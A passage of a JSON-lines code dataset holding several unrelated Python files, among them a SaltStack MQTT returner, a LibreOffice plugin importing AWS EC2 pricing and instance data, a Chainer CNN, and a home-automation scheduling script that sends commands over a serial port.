key=attrgetter(\"manufacturing_date\"))\n oldest = oldest_item.manufacturing_date\n\n return oldest\n\n def closest_expiration(self) -> str:\n today = str(date.today())\n\n return min(\n product.expiration_date\n for product in self.inventory\n if str(datetime.strptime(product.expiration_date, \"%Y-%m-%d\"))\n > today\n )\n\n def largest_stock(self) -> str:\n largest: dict[str, int] = {}\n\n for product in self.inventory:\n if product.company_name not in largest:\n largest[product.company_name] = 1\n else:\n largest[product.company_name] += 1\n\n return max(largest, key=lambda item: largest[item])\n\n def generate(self) -> str:\n return (\n f\"Oldest manufacturing date: { self.oldest_manufactured() } \"\n f\"Closest expiration date: { self.closest_expiration() } \"\n f\"Company with the largest inventory: { self.largest_stock() } \"\n )\n","repo_name":"jonnoliveira/trybe-project-30-inventory-report","sub_path":"inventory_report/reports/simple_report.py","file_name":"simple_report.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17057042913","text":"import datetime\nimport json\nimport logging\ntry:\n import paho.mqtt.client as mqtt\n HAS_MQTT = True\nexcept ImportError:\n HAS_MQTT = False\ntry:\n import ssl\n HAS_SSL = True\nexcept ImportError:\n HAS_SSL = False\n\nfrom salt.returners import get_returner_options\n\n\nlog = logging.getLogger(__name__)\n\n\n__virtualname__ = \"mqtt\"\n\n\ndef __virtual__():\n if not HAS_MQTT:\n return False, \"Could not import mqtt returner; \" \\\n \"paho mqtt client is not installed.\"\n if not HAS_SSL:\n return False, \"Could not import mqtt returner; \" \\\n \"ssl is not installed.\"\n\n return __virtualname__\n\n\ndef _get_options(ret=None):\n if log.isEnabledFor(logging.DEBUG):\n log.debug(\"Getting options for: {:}\".format(ret))\n\n defaults = {\n \"client_id\": \"\",\n \"clean_session\": None,\n \"protocol\": \"MQTTv311\",\n \"transport\": \"tcp\",\n \"host\": \"localhost\",\n \"port\": 1883,\n \"keepalive\": 60,\n \"bind_address\": \"\",\n \"username\": None,\n \"password\": None,\n \"tls\": {},\n \"proxy\": {},\n \"ws\": {},\n \"topic\": \"\",\n \"qos\": 0,\n \"retain\": False\n }\n\n attrs = {\n \"client_id\": \"client_id\",\n \"clean_session\": \"clean_session\",\n \"protocol\": \"protocol\",\n \"transport\": \"transport\",\n \"host\": \"host\",\n \"port\": \"port\",\n \"keepalive\": \"keepalive\",\n \"bind_address\": \"bind_address\",\n \"username\": \"username\",\n \"password\": \"password\",\n \"tls\": \"tls\",\n \"proxy\": \"proxy\",\n \"ws\": \"ws\",\n \"topic\": \"topic\",\n \"qos\": \"qos\",\n \"retain\": \"retain\"\n }\n\n options = get_returner_options(\n \"{:}_returner\".format(__virtualname__),\n ret,\n attrs,\n __salt__=__salt__,\n __opts__=__opts__,\n defaults=defaults\n )\n\n if log.isEnabledFor(logging.DEBUG):\n log.debug(\"Generated options: {:}\".format(options))\n\n return options\n\n\ndef _get_client_for(ret):\n\n # Get client instance from context if present\n client = __context__.get(__name__, None)\n\n # Create new instance if no existing found\n if client == None:\n options = _get_options(ret)\n log.info(\"Creating client instance with options: {:}\".format(options))\n\n client = mqtt.Client(\n client_id=options[\"client_id\"],\n clean_session=options[\"clean_session\"],\n protocol=getattr(mqtt, options[\"protocol\"], mqtt.MQTTv311), # Resolve MQTT constant\n transport=options[\"transport\"])\n setattr(client, \"metadata\", {})\n\n # Store options in metadata\n client.metadata[\"options\"] = options\n\n if options[\"username\"]:\n client.username_pw_set(options[\"username\"], password=options[\"password\"])\n\n # Setup TLS if defined\n if options[\"tls\"]:\n\n tls_kwargs = {}\n for key, val in options[\"tls\"].iteritems():\n\n # Resolve SSL constants\n if key in [\"cert_reqs\", \"tls_version\"]:\n tls_kwargs[key] = getattr(ssl, val)\n else:\n tls_kwargs[key] = val\n\n client.tls_set(**tls_kwargs)\n\n # Setup proxy if defined\n if options[\"proxy\"]:\n client.proxy_set(**options[\"proxy\"])\n\n # Setup WebSocket if defined\n if options[\"ws\"]:\n client.ws_set(**options[\"ws\"])\n\n # Register callback on connect\n def on_connect(client, userdata, flags, rc):\n if rc == mqtt.MQTT_ERR_SUCCESS:\n log.info(\"Client successfully connected to broker\")\n else:\n log.error(\"Client unable to connect to broker: {:}\".format(mqtt.error_string(rc)))\n\n client.on_connect = on_connect\n\n # Register callback on disconnect\n def on_disconnect(client, userdata, rc):\n log.warn(\"Client disconnected from broker: {:}\".format(mqtt.error_string(rc)))\n \n # Call disconnect to make sure 'is_connected' will return False\n rc = client.disconnect()\n log.info(\"Client disconnect result: {:}\".format(mqtt.error_string(rc)))\n\n client.on_disconnect = on_disconnect\n\n # Connect to the broker\n client.connect(options[\"host\"],\n port=options[\"port\"],\n keepalive=options[\"keepalive\"],\n bind_address=options[\"bind_address\"])\n\n # Run a client loop to make sure 'is_connected' will return True\n rc = client.loop()\n if rc != mqtt.MQTT_ERR_SUCCESS:\n log.error(\"Client loop call after initial connect failed: {:}\".format(mqtt.error_string(rc)))\n\n __context__[__name__] = client\n else:\n if log.isEnabledFor(logging.DEBUG):\n log.debug(\"Re-using client instance found in context\")\n\n # Check connection\n if not client.is_connected():\n log.warn(\"Client is no longer connected - attempting to reconnect\")\n\n # Attempt to reconnect\n rc = client.reconnect()\n log.info(\"Client reconnect result: {:}\".format(mqtt.error_string(rc)))\n\n # Run a client loop to make sure 'is_connected' will return True\n rc = client.loop()\n if rc != mqtt.MQTT_ERR_SUCCESS:\n log.error(\"Client loop call after reconnect failed: {:}\".format(mqtt.error_string(rc)))\n\n return client\n\n\ndef returner(ret):\n \"\"\"\n Return a result to MQTT.\n\n Example: salt '*' test.ping --return mqtt --return_kwargs '{\"host\": \"127.0.0.1\", \"port\": 1883}'\n \"\"\"\n\n returner_job(ret)\n\n\ndef returner_job(job):\n \"\"\"\n Return a Salt job result to MQTT.\n \"\"\"\n\n if not job or not job.get(\"jid\", None):\n log.warn(\"Skipping invalid job result: {:}\".format(job))\n\n return\n\n ret = job.get(\"return\", job.get(\"ret\", None))\n\n if not ret or not job.get(\"success\", True): # Default is success if not specified\n log.warn(\"Skipping unsuccessful job result with JID {:}: {:}\".format(job[\"jid\"], job))\n\n return\n\n namespace = job[\"fun\"].split(\".\")\n if isinstance(ret, dict) and \"_type\" in ret:\n\n # Only use module name when type is available\n returner_data(ret, namespace[0], **job)\n else:\n returner_data(ret, *namespace, **job)\n\n\ndef returner_data(data, *args, **kwargs):\n \"\"\"\n Return any arbitrary data structure to MQTT.\n \"\"\"\n\n if not data:\n log.debug(\"Skipping empty data result\")\n\n return\n\n client = _get_client_for(kwargs)\n options = client.metadata[\"options\"]\n\n if options[\"topic\"]:\n namespace = [options[\"topic\"]] + list(args)[1:]\n else:\n namespace = list(args)\n\n if isinstance(data, dict):\n payload = data\n\n # Append type to namespace if present and not already added\n if \"_type\" in data and not options[\"topic\"] and not data[\"_type\"] in namespace:\n namespace.append(data[\"_type\"])\n\n if not \"_stamp\" in data:\n data[\"_stamp\"] = datetime.datetime.utcnow().isoformat()\n\n elif isinstance(data, (list, set, tuple)):\n payload = {\n \"_stamp\": datetime.datetime.utcnow().isoformat(),\n \"values\": data\n }\n else:\n payload = {\n \"_stamp\": datetime.datetime.utcnow().isoformat(),\n \"value\": data\n }\n\n # Publish message\n topic = \"/\".join(namespace)\n res = client.publish(topic, json.dumps(payload, separators=(\",\", \":\")), qos=options[\"qos\"], retain=options[\"retain\"])\n if res.rc != mqtt.MQTT_ERR_SUCCESS:\n log.warn(\"Publish of message with topic '{:}' failed: {:}\".format(topic, mqtt.error_string(res.rc)))\n","repo_name":"autopi-io/autopi-core","sub_path":"src/salt/base/ext/_returners/mqtt_returner.py","file_name":"mqtt_returner.py","file_ext":"py","file_size_in_byte":7658,"program_lang":"python","lang":"en","doc_type":"code","stars":142,"dataset":"github-code","pt":"21"} +{"seq_id":"693146143","text":"import requests, os\nimport urllib.parse as up\nfrom sys import argv\nimport configparser\n\n\nconfig = configparser.ConfigParser()\nconfig.read(os.path.join(os.environ[\"HOME\"], \".wiki\", \"config\"))\nlocale = config[\"default\"][\"locale\"]\n\ndef main(users_query, *options):\n\t# wiki api\n\thost = 'https://{}.wikipedia.org/w/api.php?'.format(locale)\n\t# actions\n\tsearch = '&'.join([\n\t\t\t\t\t\t'action=opensearch',\n\t\t\t\t\t\t'search={}'.format(up.quote(users_query)),\n\t\t\t\t\t\t'prop=info',\n\t\t\t\t\t\t'format=json',\n\t\t\t\t\t\t'inprop=url'\n\t\t\t\t\t\t])\n\t# full url\n\turl = host + search\n\t# request\n\tresponce = requests.get(url)\n\tif (responce.status_code != requests.codes.ok):\n\t\tprint(\"Bad request (status code {})\".format(responce.status_code))\n\t\texit\n\n\tfor ans in responce.json()[2]:\n\t\tprint(ans)\n\nif __name__ == \"__main__\":\n\tmain(argv[1])\n","repo_name":"goncharoman/wiki","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4439124565","text":"import numpy as np\nimport chainer\nimport chainer.links as L\nimport chainer.functions as F\n\nclass CNN(chainer.Chain):\n def __init__(self):\n # クラスの初期化\n super(CNN, self).__init__( \n conv1 = L.Convolution2D(1, 20, 4), # フィルター3 ボケを作ってる、入力、出力\n conv2 = L.Convolution2D(20, 30, 3), # フィルター4\n conv3 = L.Convolution2D(30, 40, 3),\n conv4 = L.Convolution2D(40, 50, 3),\n\n l1 = L.Linear(800, 500),\n l2 = L.Linear(500, 500),\n l3 = L.Linear(500, 10, initialW=np.zeros((10, 500), dtype=np.float32))\n )\n \n def __call__(self,x):\n # 順伝播の計算を行う関数\n # :param x: 入力値\n h = F.max_pooling_2d(F.dropout(F.relu(self.conv1(x))), 2)\n h = F.max_pooling_2d(F.dropout(F.relu(self.conv2(h))), 2)\n h = F.max_pooling_2d(F.dropout(F.relu(self.conv3(h))), 2)\n h = F.dropout(F.relu(self.conv4(h)))\n\n h = F.relu(self.l1(h))\n h = F.relu(self.l2(h))\n y = self.l3(h)\n return y","repo_name":"AtomScott/Crosslingual-audio-emotion-recognition-with-RAVDESS-and-XperDES","sub_path":"models/cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36056816798","text":"#!/usr/bin/env python3\n\nimport site\nimport sys\n\nnew_sys_path = set(sys.path)\nfor path in site.getsitepackages():\n if path in new_sys_path:\n new_sys_path.remove(path)\nsys.path[0:] = new_sys_path\n\nimport os.path\n\nif __name__ == '__main__':\n # sys.path.append('/usr/lib/libreoffice/program')\n sys.path.append('/usr/lib/python3/dist-packages')\n import uno\n import unohelper\n sys.path.remove('/usr/lib/python3/dist-packages')\n sys.path.append(os.path.join(os.path.dirname(__file__),\n 'pythonpath'))\n\n\nimport argparse\nimport collections\nimport csv\nimport io\nimport logging\nimport os\nimport traceback\nimport urllib.request\n\nimport boto3\nimport uno # NOQA\nimport unohelper # NOQA\nfrom com.sun.star.sheet.CellFlags import VALUE\nfrom com.sun.star.sheet.CellFlags import DATETIME\nfrom com.sun.star.sheet.CellFlags import STRING\nfrom com.sun.star.sheet.CellFlags import ANNOTATION\nfrom com.sun.star.sheet.CellFlags import FORMULA\nfrom com.sun.star.sheet.CellFlags import HARDATTR\nfrom com.sun.star.sheet.CellFlags import STYLES\nfrom com.sun.star.sheet.CellFlags import OBJECTS\nfrom com.sun.star.sheet.CellFlags import EDITATTR\nfrom com.sun.star.sheet.CellFlags import FORMATTED\nfrom com.sun.star.task import XJob\nfrom com.sun.star.container import NoSuchElementException\nfrom com.sun.star.awt.FontWeight import BOLD\n\nBOOTSTRAP_REGION = 'us-east-1'\n\nALL_CELL_FLAGS = (VALUE | DATETIME | STRING | ANNOTATION | FORMULA |\n HARDATTR | STYLES | OBJECTS | EDITATTR | FORMATTED)\n\ng_ImplementationHelper = unohelper.ImplementationHelper()\n\n\ndef _get_or_create_sheet(doc, sheet_name):\n try:\n sheet = doc.Sheets.getByName(sheet_name)\n except NoSuchElementException:\n doc.Sheets.insertNewByName(sheet_name, doc.Sheets.Count)\n sheet = doc.Sheets.getByName(sheet_name)\n return sheet\n\n\nclass ImportEC2Pricing(unohelper.Base, XJob):\n EC2_PRICE_LIST_URL = ('https://pricing.us-east-1.amazonaws.com/offers/'\n 'v1.0/aws/AmazonEC2/current/index.csv')\n PRICE_LIST_HEADER_FIELDS = [\n 'FormatVersion', 'Disclaimer', 'Publication Date', 'Version',\n 'OfferCode']\n PRICING_SHEET_NAME = 'pricing data'\n PRICING_METADATA_SHEET_NAME = 'pricing metadata'\n NUM_DATA_ROWS_TO_LOAD = 1000\n\n def __init__(self, ctx):\n self.ctx = ctx\n\n def _get_pricing_metadata(self, pricing_csv_text):\n metadata = collections.OrderedDict()\n buf = io.StringIO()\n for i in range(len(self.PRICE_LIST_HEADER_FIELDS)):\n current_char = None\n while current_char != '\\n':\n current_char = pricing_csv_text.read(1)\n buf.write(current_char)\n\n buf.seek(0)\n csv_data = csv.reader(buf)\n for row, expected_header_field in zip(csv_data,\n self.PRICE_LIST_HEADER_FIELDS):\n if row[0] != expected_header_field:\n raise Exception('Incorrect header field detected: {}'.format(\n row[0]))\n\n metadata[row[0]] = row[1]\n\n return metadata\n\n def _get_pricing_lines(self, pricing_lines_csv_text):\n data = []\n csv_data = csv.reader(pricing_lines_csv_text)\n\n csv_iter = iter(csv_data)\n header_row = next(csv_iter)\n for row in csv_iter:\n data.append(tuple(row))\n\n return tuple(header_row), tuple(data)\n\n def _get_pricing_data(self):\n with urllib.request.urlopen(self.EC2_PRICE_LIST_URL) as r, \\\n io.TextIOWrapper(\n r,\n encoding=r.headers.get_content_charset('utf-8')) \\\n as pricing_text:\n metadata = self._get_pricing_metadata(pricing_text)\n headers, data = self._get_pricing_lines(pricing_text)\n\n return metadata, headers, data\n\n def _update_pricing_metadata_sheet(self, sheet, metadata):\n sheet.clearContents(ALL_CELL_FLAGS)\n for row, row_key in enumerate(metadata):\n cell_range = sheet.getCellRangeByPosition(0, row, 1, row)\n cell_range.setDataArray(((row_key, metadata[row_key]),))\n\n def _update_pricing_data_sheet(\n self, sheet, headers, data_rows, status_indicator):\n sheet.clearContents(ALL_CELL_FLAGS)\n cell_range = sheet.getCellRangeByPosition(0, 0, len(headers) - 1, 0)\n cell_range.setDataArray((tuple(headers),))\n cell_range.CharWeight = BOLD\n\n all_data_range = sheet.getCellRangeByPosition(\n 0, 1, len(headers)-1, len(data_rows))\n print('len(data_rows): {}'.format(len(data_rows)))\n status_indicator.start('Loading pricing data...', len(data_rows))\n for start_row in range(0, len(data_rows) - self.NUM_DATA_ROWS_TO_LOAD,\n self.NUM_DATA_ROWS_TO_LOAD):\n print('loading start row: {}'.format(start_row))\n end_row = start_row + self.NUM_DATA_ROWS_TO_LOAD\n current_range = all_data_range.getCellRangeByPosition(\n 0, start_row, len(headers)-1, end_row - 1)\n current_range.setDataArray(data_rows[start_row:end_row])\n status_indicator.setValue(end_row)\n else:\n start_row = start_row + self.NUM_DATA_ROWS_TO_LOAD\n if start_row < len(data_rows):\n print('loading start row: {}'.format(start_row))\n end_row = len(data_rows)\n cell_range = all_data_range.getCellRangeByPosition(\n 0, start_row, len(headers)-1, end_row - 1)\n cell_range.setDataArray(data_rows[start_row:end_row])\n status_indicator.setValue(end_row)\n status_indicator.end()\n print('Row loaded: {}'.format(end_row))\n\n def execute(self, args):\n desktop = self.ctx.ServiceManager.createInstanceWithContext(\n \"com.sun.star.frame.Desktop\", self.ctx)\n\n doc = desktop.getCurrentComponent()\n\n pricing_data_sheet = _get_or_create_sheet(doc, self.PRICING_SHEET_NAME)\n pricing_metadata_sheet = _get_or_create_sheet(\n doc, self.PRICING_METADATA_SHEET_NAME)\n\n pricing_metadata, pricing_data_headers, pricing_data = (\n self._get_pricing_data())\n\n try:\n self._update_pricing_metadata_sheet(\n pricing_metadata_sheet, pricing_metadata)\n status_indicator = (\n doc.getCurrentController().getFrame().createStatusIndicator())\n import datetime\n start = datetime.datetime.now()\n self._update_pricing_data_sheet(\n pricing_data_sheet, pricing_data_headers, pricing_data,\n status_indicator)\n end = datetime.datetime.now()\n print(end-start)\n except:\n print(traceback.format_exc())\n\n\ng_ImplementationHelper.addImplementation(\n ImportEC2Pricing,\n 'org.penguintechs.wt.libreoffice.ImportEC2Pricing',\n ('com.sun.star.task.Job',),)\n\n\nclass ImportEC2InstanceData(unohelper.Base, XJob):\n INSTANCE_COUNTS_SHEET_NAME = 'current instance counts'\n INSTANCE_COUNTS_SHEET_HEADERS = ('az', 'service', 'instance_type', 'count')\n RESERVED_INSTANCE_COUNTS_SHEET_NAME = 'current reserved instance counts'\n RESERVED_INSTANCE_COUNTS_SHEET_HEADERS = ('az', 'instance_type', 'count')\n\n def __init__(self, ctx):\n self.ctx = ctx\n\n def _get_all_regions(self):\n print('Getting list of regions')\n client = boto3.client('ec2', region_name=BOOTSTRAP_REGION)\n regions_dict = client.describe_regions()['Regions']\n regions = [i['RegionName'] for i in regions_dict]\n print('Found regions: {}'.format(regions))\n return regions\n\n def _get_instance_type_counts_for_region(self, resource):\n counts = {}\n for instance in resource.instances.all():\n instance_type = instance.instance_type\n az = instance.placement['AvailabilityZone']\n service = 'unknown'\n if instance.tags is not None:\n for tag_dict in instance.tags:\n if tag_dict['Key'] == 'service':\n service = tag_dict['Value']\n counts[(az, service, instance_type)] = counts.get(\n (az, service, instance_type), 0) + 1\n return counts\n\n def _update_instance_counts_sheet(self, doc, instance_counts):\n sheet = _get_or_create_sheet(doc, self.INSTANCE_COUNTS_SHEET_NAME)\n sheet.clearContents(ALL_CELL_FLAGS)\n\n headers = self.INSTANCE_COUNTS_SHEET_HEADERS\n headers_range = sheet.getCellRangeByPosition(0, 0, len(headers) - 1, 0)\n headers_range.setDataArray((headers,))\n headers_range.CharWeight = BOLD\n\n data_range = sheet.getCellRangeByPosition(\n 0, 1, len(headers) - 1, len(instance_counts))\n for row, ((az, service, instance_type), count) in enumerate(\n instance_counts.items()):\n row_range = data_range.getCellRangeByPosition(\n 0, row, len(headers) - 1, row)\n row_range.setDataArray(((az, service, instance_type, count),))\n\n def _get_reserved_instance_counts_for_region(self, client):\n ris = client.describe_reserved_instances(\n Filters=[{'Name': 'state',\n 'Values': ['payment-pending', 'active']}])\n ri_counts = {}\n for ri in ris['ReservedInstances']:\n az = ri['AvailabilityZone']\n instance_type = ri['InstanceType']\n\n ri_counts[(az, instance_type)] = (\n ri_counts.get((az, instance_type), 0) + ri['InstanceCount'])\n return ri_counts\n\n def _update_reserved_instance_counts_sheet(self, doc, ri_counts):\n sheet = _get_or_create_sheet(\n doc, self.RESERVED_INSTANCE_COUNTS_SHEET_NAME)\n sheet.clearContents(ALL_CELL_FLAGS)\n\n headers = self.RESERVED_INSTANCE_COUNTS_SHEET_HEADERS\n headers_range = sheet.getCellRangeByPosition(0, 0, len(headers) - 1, 0)\n headers_range.setDataArray((headers,))\n headers_range.CharWeight = BOLD\n\n data_range = sheet.getCellRangeByPosition(\n 0, 1, len(headers) - 1, len(ri_counts))\n for row, ((az, instance_type), count) in enumerate(ri_counts.items()):\n row_range = data_range.getCellRangeByPosition(\n 0, row, len(headers) - 1, row)\n row_range.setDataArray(((az, instance_type, count),))\n\n def execute(self, args):\n desktop = self.ctx.ServiceManager.createInstanceWithContext(\n \"com.sun.star.frame.Desktop\", self.ctx)\n\n doc = desktop.getCurrentComponent()\n\n instance_counts = {}\n ri_counts = {}\n for region in self._get_all_regions():\n print('Getting instance data from {}'.format(region))\n resource = boto3.resource('ec2', region_name=region)\n client = boto3.client('ec2', region_name=region)\n instance_counts.update(\n self._get_instance_type_counts_for_region(resource))\n ri_counts.update(\n self._get_reserved_instance_counts_for_region(client))\n\n self._update_instance_counts_sheet(doc, instance_counts)\n self._update_reserved_instance_counts_sheet(doc, ri_counts)\n\n\ng_ImplementationHelper.addImplementation(\n ImportEC2InstanceData,\n 'org.penguintechs.wt.libreoffice.ImportEC2InstanceData',\n ('com.sun.star.task.Job',),)\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('command')\n return parser.parse_args()\n\n\ndef main():\n args = parse_args()\n\n connect_string = 'socket,host=localhost,port=2002;urp'\n\n # Start OpenOffice.org, listen for connections and open testing document\n os.system(\n \"/usr/bin/libreoffice '--accept={};' --calc ./costing_test_doc.ods &\"\n .format(connect_string))\n\n # Get local context info\n localContext = uno.getComponentContext()\n resolver = localContext.ServiceManager.createInstanceWithContext(\n \"com.sun.star.bridge.UnoUrlResolver\", localContext)\n\n ctx = None\n\n # Wait until the OO.o starts and connection is established\n while ctx is None:\n try:\n ctx = resolver.resolve(\n \"uno:{};StarOffice.ComponentContext\".format(connect_string))\n except:\n pass\n\n # Execute our job\n if args.command == 'import_pricing':\n blah = ImportEC2Pricing(ctx)\n blah.execute(())\n elif args.command == 'import_instance_data':\n blah2 = ImportEC2InstanceData(ctx)\n blah2.execute(())\n\nif __name__ == \"__main__\":\n logging.basicConfig(level=logging.DEBUG)\n logging.getLogger('boto3').setLevel(logging.INFO)\n logging.getLogger('botocore').setLevel(logging.INFO)\n main()\n","repo_name":"wt/libreoffice_python_plugin_example","sub_path":"Addons.py","file_name":"Addons.py","file_ext":"py","file_size_in_byte":12802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73791552374","text":"s = 0\n# c % 3 ==0\ncont = 0\ncontT = 0\nfor c in range(1, 500):\n if c % 3 == 0 and c % 2 != 0:# se c é multiplo de 3 e se c é ímpar\n s += c\n cont += 1\n contT += 1\n \nprint(f'Dentre os {contT} numeros,\\n o somatório dos {cont} números ímpares múltiplos de 3 no intervalo entre 1 e 500 é de {s}!')\n","repo_name":"ivanDourado/guanabaraPython","sub_path":"mundo2/exercicios/ex048.py","file_name":"ex048.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29906933422","text":"# o!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport serial\nimport time\nimport datetime\nimport requests\nimport sys\nimport msql\nimport json\nimport ssl\nimport urllib3\nurllib3.disable_warnings()\n#import ptvsd\n#ptvsd.enable_attach(secret=\"my_secret\")\n\nprint(\"####### Planning - Start #######\" + time.strftime('%A %d. %B %Y %H:%M', time.localtime()))\n\n############## TRY CONNECT SQL ##################\ncursor = msql.cursor\nDbConnect = msql.DbConnect\n\ndef SendDataToUsb(moduleName, moduleCom, moduleBaudrate, data): \n # if 'ser' not in locals() or not ser.is_open:\n ser = serial.Serial(port=moduleCom, baudrate=moduleBaudrate)\n ser.write(data.encode())\n\n\ndef UpdateDateRaz(deviceId):\n dateRaz = (datetime.datetime.now()+datetime.timedelta(seconds=1)).strftime('%Y-%m-%d %H:%M:%S')\n try:\n cursor.execute(\" update cmd_device set DateRAZ=%s where ID =%s\", (str(dateRaz), str(cmd_device_id)))\n except:\n print (time.strftime('%A %d. %B %Y %H:%M', time.localtime()) + \" Erreur dans la requete UpdateDateRaz dateRaz= \" + str(dateRaz)+ \" cmd_device_id= \"+str(cmd_device_id))\n pass\n\ndef Action(New_status, DeviceID, GUID, CarteID, Nom, Type, Widget_Id, Lieux, Device_Id, sensor_attach_value, ValueAct, EtatAct, ModuleName, ModuleConfiguration):\n try: \n Configuration = json.loads(ModuleConfiguration)\n except:\n Configuration = None\n \n if Type == \"Thermostat\":\n if float(sensor_attach_value) < float(New_Status):\n str_action = \"1\"\n else:\n str_action = \"0\"\n val = str(CarteID)+\"/\"+str(GUID)+\"_\"+str(Widget_Id)+\"_\"+str(DeviceID)+\"@\"+str(New_Status)+\":\"+str(str_action)+\"\\n\"\n if (str(ValueAct) != str(New_Status) or str(str_action) != str(EtatAct)):\n SendDataToUsb(ModuleName, Configuration[\"com\"], Configuration[\"baudrate\"], val)\n now = datetime.datetime.now()\n now = now.strftime('%Y-%m-%d %H:%M:%S')\n# cursor.execute(\"INSERT INTO Log (DeviceID, DATE, ACTION, Message) VALUES (%s, %s, %s, %s)\", (Device_Id, now, val, \"Planning: \"+Lieux+\" \"+Nom+\" \" + str(CarteID) + \" \" + str(DeviceID) + \" \" + str(New_Status)))\n UpdateDateRaz(cmd_device_id)\n cursor.execute(\"INSERT INTO Log (DeviceID, DATE, Message) VALUES (%s, %s, %s)\", (Device_Id, now, \"Planning: \"+Lieux+\" \"+Nom+\" \" + val)) \n else:\n val = str(CarteID)+\"/\"+str(GUID)+\"_\"+str(Widget_Id)+\"_\"+str(DeviceID)+\"@\"+str(New_Status)+\":\"+str(New_Status)+\"\\n\"\n if (ValueAct != New_Status or New_Status != EtatAct): \n SendDataToUsb(ModuleName, Configuration[\"com\"], Configuration[\"baudrate\"], val)\n now = datetime.datetime.now()\n now = now.strftime('%Y-%m-%d %H:%M:%S')\n# cursor.execute(\"INSERT INTO Log (DeviceID, DATE, ACTION, Message) VALUES (%s, %s, %s, %s)\", (Device_Id, now, val, \"Planning: \"+Lieux+\" \"+Nom+\" \" + str(CarteID) + \" \" + str(DeviceID) + \" \" + str(New_Status)))\n UpdateDateRaz(cmd_device_id)\n cursor.execute(\"INSERT INTO Log (DeviceID, DATE, Message) VALUES (%s, %s, %s)\", (Device_Id, now, \"Planning: \"+Lieux+\" \"+Nom+\" \" + val))\n\nwhile True:\n try:\n time.sleep(0.1)\n\n sql = \"\"\" SELECT Status\n ,cmd_device.id\n ,cmd_device.DeviceID\n ,Device.GUID\n ,Device.CarteID\n ,Device.Nom\n ,cmd_device.Type as TypeAction\n ,widget.Name\n ,widget.Id as widget_Id\n ,Lieux.Nom\n ,Device.ID\n ,IFNULL(sensor_attach.value,'') as sensor_attachValue \n ,'' as Request\n ,cmd_device.RAZ\n ,cmd_device.Value\n ,cmd_device.Etat\n ,Module_Type.ModuleName\n ,Module_Type.ModuleType\n ,Module_Type.ModuleConfiguration\n FROM Planning\n INNER JOIN cmd_device on cmd_device.ID = CmdDevice_Id AND Planning.Status != cmd_device.Etat\n INNER JOIN Device on Device.ID = cmd_device.Device_ID\n INNER JOIN Module_Type ON Device.Module_Id = Module_Type.ID\n INNER JOIN widget on widget.Id = cmd_device.Widget_Id\n INNER JOIN Lieux on Lieux.Id = Device.Lieux_ID\n LEFT JOIN cmd_device as sensor_attach on sensor_attach.ID = cmd_device.sensor_attachID\n WHERE \n (\n (\n DAYS like '%\"\"\"+str(time.localtime().tm_wday)+\"\"\"%' \n OR Planning.date = '\"\"\"+time.strftime(\"%y/%m/%d\")+\"\"\"'\n ) \n AND HOURS ='\"\"\"+time.strftime('%H:%M', time.localtime())+\"\"\":00'\n AND ACTIVATE = 1\n )\n UNION\n SELECT Status\n ,cmd_device_id\n ,DeviceID\n ,GUID\n ,CarteID\n ,Nom\n ,TypeAction\n ,WidgetName\n ,widget_Id\n ,LieuxNom\n ,Device_ID\n ,'' as sensor_attachValue\n ,IFNULL(Request,'') as sRequest\n ,RAZ\n ,Value\n ,Etat\n ,ModuleName\n ,ModuleType\n ,ModuleConfiguration\n FROM (\n SELECT 0 as Status, Device.GUID, cmd_device.id as cmd_device_id, cmd_device.DeviceID, Device.CarteID, Device.Nom, cmd_device.Type as TypeAction, widget.Name as WidgetName, widget.Id as widget_Id, Lieux.Nom as LieuxNom, Device.ID as Device_ID,Request, Date, IFNULL(DATE_ADD(Date ,INTERVAL RAZ SECOND),\"1900/01/01 00:00:00\") as DateToRaz, RAZ, DateRAZ, Value, Etat\n ,Module_Type.ModuleName, Module_Type.ModuleType, Module_Type.ModuleConfiguration\n FROM cmd_device\n INNER JOIN Device on Device.ID = cmd_device.Device_ID\n INNER JOIN Module_Type ON Device.Module_Id = Module_Type.ID\n LEFT JOIN widget on widget.Id = cmd_device.widget_Id\n LEFT JOIN Lieux on Lieux.Id = Device.Lieux_ID\n ) as t\n WHERE RAZ IS NOT NULL\n AND now() >= IFNULL(t.DateToRaz,'') \n AND now() > IFNULL(t.DateRAZ,'')\n # AND (t.Status != t.Etat or t.widget_Id = 5)\n AND (t.Status != t.Etat and t.Etat != '' or JSON_EXTRACT(t.Request, '$.url') != '')\n group by Device_ID, sRequest;\"\"\"\n\n cursor.execute(sql)\n for row in cursor.fetchall():\n New_Status = row[0]\n cmd_device_id = row[1]\n DeviceID = row[2]\n GUID = row[3]\n CarteID = row[4]\n Nom = row[5]\n TypeAction = row[6]\n WidgetName = row[7]\n Widget_Id = row[8]\n Lieux = row[9]\n Device_Id = row[10]\n sensor_attach_value = row[11]\n Request = row[12]\n RAZ = row[13]\n Value = row[14]\n Etat = row[15]\n ModuleName = row[16]\n ModuleType = row[17]\n ModuleConfiguration = row[18]\n\n if ModuleType == \"Communication\": \n Configuration = json.loads(ModuleConfiguration)\n Action(New_Status, DeviceID, GUID, CarteID, Nom, WidgetName, Widget_Id, Lieux, Device_Id, sensor_attach_value, Value, Etat, ModuleName, ModuleConfiguration)\n if TypeAction == \"Info\":\n dateRaz = (datetime.datetime.now()+datetime.timedelta(seconds=1)).strftime('%Y-%m-%d %H:%M:%S')\n try:\n cursor.execute(\" update cmd_device set cmd_device.Etat ='0', cmd_device.Value ='0' , DateRAZ=%s where ID =%s\", (dateRaz, str(cmd_device_id)))\n except:\n print (time.strftime('%A %d. %B %Y %H:%M', time.localtime()) + \" Erreur dans la requete UpdateDateRaz1 dateRaz= \" + dateRaz+ \" cmd_device_id= \"+str(cmd_device_id))\n pass\n # Minute = datetime.datetime.now().minute\n # cursor.execute(\"update cmd_device set date = (select DATE_FORMAT(now(), '%Y-%m-%d %H:00:00') - INTERVAL \"+str(Minute % 